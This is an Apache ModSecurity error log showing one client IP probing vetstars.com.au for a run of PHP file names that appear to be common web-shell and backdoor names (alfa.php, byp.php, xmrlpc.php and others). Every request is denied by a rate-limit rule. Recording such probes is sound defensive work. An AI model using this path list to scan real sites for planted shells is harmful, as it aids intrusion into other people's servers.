[Tue Dec 23 20:31:02.730301 2025] [:error] [pid 25976:tid 25980] [client 20.196.109.137:13254] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUqLhrF6LaWzQScE-xN9zAAAAQI"]
[Tue Dec 23 20:31:03.062424 2025] [:error] [pid 3404:tid 3417] [client 20.196.109.137:13080] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUqLh8JGbPWZNlrhVJdVFgAAAcg"]
[Tue Dec 23 20:31:03.540016 2025] [:error] [pid 3497:tid 3500] [client 20.196.109.137:13296] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUqLh-zUE6hZ8LJecSsU7QAAAMA"]
[Tue Dec 23 20:31:04.277894 2025] [:error] [pid 25976:tid 25991] [client 20.196.109.137:13220] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUqLiLF6LaWzQScE-xN9zQAAAQ0"]
[Tue Dec 23 20:31:04.740819 2025] [:error] [pid 25976:tid 25997] [client 20.196.109.137:13081] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUqLiLF6LaWzQScE-xN9zwAAARM"]
[Tue Dec 23 20:31:05.289828 2025] [:error] [pid 3497:tid 3505] [client 20.196.109.137:13176] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUqLiezUE6hZ8LJecSsU9QAAAMU"]
[Tue Dec 23 20:31:05.907191 2025] [:error] [pid 3404:tid 3410] [client 20.196.109.137:13212] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUqLicJGbPWZNlrhVJdVGAAAAcE"]
[Tue Dec 23 20:31:06.672612 2025] [:error] [pid 11812:tid 11831] [client 20.196.109.137:13225] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUqLirBkIQ4nTXm4A3UbigAAAJE"]
[Tue Dec 23 20:31:07.573450 2025] [:error] [pid 3404:tid 3419] [client 20.196.109.137:13237] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUqLi8JGbPWZNlrhVJdVGwAAAco"]
[Tue Dec 23 20:31:09.241613 2025] [:error] [pid 3404:tid 3431] [client 20.196.109.137:13062] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUqLjcJGbPWZNlrhVJdVHwAAAdY"]
[Tue Dec 23 20:31:09.898817 2025] [:error] [pid 54297:tid 54315] [client 20.196.109.137:13229] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUqLjUZMNime0caoKPKiawAAAY4"]
[Tue Dec 23 20:31:10.829629 2025] [:error] [pid 3497:tid 3500] [client 20.196.109.137:13165] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUqLjuzUE6hZ8LJecSsVAAAAAMA"]
[Tue Dec 23 20:31:11.807997 2025] [:error] [pid 3497:tid 3512] [client 20.196.109.137:13114] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aUqLj-zUE6hZ8LJecSsVAwAAAMw"]
[Tue Dec 23 20:31:12.378708 2025] [:error] [pid 25976:tid 25985] [client 20.196.109.137:13103] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aUqLkLF6LaWzQScE-xN91QAAAQc"]
[Tue Dec 23 20:31:13.630691 2025] [:error] [pid 3406:tid 3475] [client 20.196.109.137:13140] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aUqLkfn8DLWxW7TPzpHlgwAAAEs"]
[Tue Dec 23 20:31:14.301673 2025] [:error] [pid 54375:tid 54396] [client 20.196.109.137:12999] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aUqLkp1Yro3O5R2WY-BvWgAAAlM"]
[Tue Dec 23 20:31:16.289531 2025] [:error] [pid 54297:tid 54302] [client 20.196.109.137:13143] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aUqLlEZMNime0caoKPKicwAAAYE"]
[Tue Dec 23 20:31:17.592659 2025] [:error] [pid 54297:tid 54304] [client 20.196.109.137:13069] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aUqLlUZMNime0caoKPKidAAAAYM"]
[Tue Dec 23 20:31:18.242547 2025] [:error] [pid 3405:tid 3449] [client 20.196.109.137:13138] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aUqLlrdHHpIDpQ39rwk_wQAAAAw"]
[Tue Dec 23 20:31:18.843569 2025] [:error] [pid 3497:tid 3518] [client 20.196.109.137:12993] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aUqLluzUE6hZ8LJecSsVDQAAANI"]
[Tue Dec 23 20:31:19.694825 2025] [:error] [pid 11812:tid 11837] [client 20.196.109.137:13199] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aUqLl7BkIQ4nTXm4A3UbmwAAAJc"]
[Tue Dec 23 20:31:20.534891 2025] [:error] [pid 3404:tid 3429] [client 20.196.109.137:13245] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aUqLmMJGbPWZNlrhVJdVJwAAAdQ"]
[Tue Dec 23 20:31:21.034797 2025] [:error] [pid 11812:tid 11827] [client 20.196.109.137:13136] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aUqLmbBkIQ4nTXm4A3UbnQAAAI0"]
[Tue Dec 23 20:31:21.500765 2025] [:error] [pid 54375:tid 54382] [client 20.196.109.137:13073] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aUqLmZ1Yro3O5R2WY-BvXQAAAkU"]
[Tue Dec 23 20:31:21.849647 2025] [:error] [pid 54375:tid 54381] [client 20.196.109.137:13085] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aUqLmZ1Yro3O5R2WY-BvXgAAAkQ"]
[Tue Dec 23 20:31:22.177696 2025] [:error] [pid 3406:tid 3473] [client 20.196.109.137:13167] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aUqLmvn8DLWxW7TPzpHlhgAAAEk"]
[Tue Dec 23 20:31:23.175674 2025] [:error] [pid 3406:tid 3488] [client 20.196.109.137:13160] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aUqLm_n8DLWxW7TPzpHlhwAAAFg"]
[Tue Dec 23 20:31:23.742722 2025] [:error] [pid 3405:tid 3461] [client 20.196.109.137:13193] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aUqLm7dHHpIDpQ39rwk_yAAAABg"]
[Tue Dec 23 20:31:24.150032 2025] [:error] [pid 3405:tid 3456] [client 20.196.109.137:13215] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aUqLnLdHHpIDpQ39rwk_yQAAABM"]
[Tue Dec 23 20:31:24.904190 2025] [:error] [pid 54375:tid 54378] [client 20.196.109.137:13171] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aUqLnJ1Yro3O5R2WY-BvYQAAAkE"]
[Tue Dec 23 20:31:25.320972 2025] [:error] [pid 25976:tid 26002] [client 20.196.109.137:13168] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aUqLnbF6LaWzQScE-xN93gAAARg"]
[Tue Dec 23 20:31:25.664039 2025] [:error] [pid 54408:tid 54420] [client 20.196.109.137:13268] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aUqLnWup4YbWx_MWvp1WewAAAok"]
[Tue Dec 23 20:31:26.012640 2025] [:error] [pid 54297:tid 54304] [client 20.196.109.137:13276] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUqLnkZMNime0caoKPKifQAAAYM"]
[Tue Dec 23 20:31:26.345404 2025] [:error] [pid 54375:tid 54392] [client 20.196.109.137:13120] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUqLnp1Yro3O5R2WY-BvZAAAAk8"]
[Tue Dec 23 20:31:26.774922 2025] [:error] [pid 54375:tid 54383] [client 20.196.109.137:13000] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUqLnp1Yro3O5R2WY-BvZQAAAkY"]
[Tue Dec 23 20:31:27.112299 2025] [:error] [pid 54375:tid 54393] [client 20.196.109.137:13172] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUqLn51Yro3O5R2WY-BvZgAAAlA"]
[Tue Dec 23 20:31:27.484401 2025] [:error] [pid 3406:tid 3481] [client 20.196.109.137:13170] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aUqLn_n8DLWxW7TPzpHligAAAFE"]
[Tue Dec 23 20:31:27.896162 2025] [:error] [pid 3405:tid 3445] [client 20.196.109.137:13098] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aUqLn7dHHpIDpQ39rwk_0QAAAAg"]
[Tue Dec 23 20:31:28.450468 2025] [:error] [pid 3405:tid 3453] [client 20.196.109.137:13227] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aUqLoLdHHpIDpQ39rwk_0wAAABA"]
[Tue Dec 23 20:31:28.835372 2025] [:error] [pid 54408:tid 54426] [client 20.196.109.137:13076] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aUqLoGup4YbWx_MWvp1WfQAAAo8"]
[Tue Dec 23 20:31:29.291026 2025] [:error] [pid 3406:tid 3475] [client 20.196.109.137:13164] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUqLofn8DLWxW7TPzpHljgAAAEs"]
[Tue Dec 23 20:32:19.451201 2025] [:error] [pid 54297:tid 54311] [client 20.196.109.137:13068] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUqL00ZMNime0caoKPKioQAAAYo"]
[Tue Dec 23 20:32:22.035611 2025] [:error] [pid 25976:tid 25989] [client 20.196.109.137:13032] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUqL1rF6LaWzQScE-xN98gAAAQs"]
[Tue Dec 23 20:32:24.140251 2025] [:error] [pid 11812:tid 11831] [client 20.196.109.137:13200] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUqL2LBkIQ4nTXm4A3UbuAAAAJE"]
[Tue Dec 23 20:32:28.812190 2025] [:error] [pid 3497:tid 3515] [client 20.196.109.137:13299] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aUqL3OzUE6hZ8LJecSsVOgAAAM8"]
[Tue Dec 23 20:32:32.131628 2025] [:error] [pid 3406:tid 3476] [client 20.196.109.137:13202] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aUqL4Pn8DLWxW7TPzpHlqwAAAEw"]
[Tue Dec 23 20:32:35.219580 2025] [:error] [pid 54375:tid 54397] [client 20.196.109.137:13280] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aUqL451Yro3O5R2WY-BvmwAAAlQ"]
[Tue Dec 23 20:32:37.248947 2025] [:error] [pid 54340:tid 54359] [client 20.196.109.137:13201] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aUqL5Zye8-oij4iGhogoHQAAAhE"]
[Tue Dec 23 20:32:40.450705 2025] [:error] [pid 54375:tid 54381] [client 20.196.109.137:13061] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aUqL6J1Yro3O5R2WY-BvowAAAkQ"]
[Tue Dec 23 20:32:42.795386 2025] [:error] [pid 54297:tid 54309] [client 20.196.109.137:13288] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUqL6kZMNime0caoKPKitAAAAYg"]
[Tue Dec 23 20:32:43.809825 2025] [:error] [pid 54297:tid 54307] [client 20.196.109.137:13263] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUqL60ZMNime0caoKPKitQAAAYY"]
[Tue Dec 23 20:32:46.329644 2025] [:error] [pid 54340:tid 54362] [client 20.196.109.137:13261] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUqL7pye8-oij4iGhogoIgAAAhQ"]
[Tue Dec 23 20:32:47.308041 2025] [:error] [pid 54297:tid 54315] [client 20.196.109.137:13251] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aUqL70ZMNime0caoKPKiugAAAY4"]
[Tue Dec 23 20:32:47.936460 2025] [:error] [pid 3404:tid 3427] [client 20.196.109.137:13292] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aUqL78JGbPWZNlrhVJdVRAAAAdI"]
[Tue Dec 23 20:32:49.065255 2025] [:error] [pid 3405:tid 3448] [client 20.196.109.137:13194] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aUqL8bdHHpIDpQ39rwlAFAAAAAs"]
[Tue Dec 23 20:32:49.441919 2025] [:error] [pid 3405:tid 3441] [client 20.196.109.137:13106] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aUqL8bdHHpIDpQ39rwlAFgAAAAQ"]
[Tue Dec 23 20:32:50.034757 2025] [:error] [pid 3405:tid 3446] [client 20.196.109.137:13281] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aUqL8rdHHpIDpQ39rwlAFwAAAAk"]
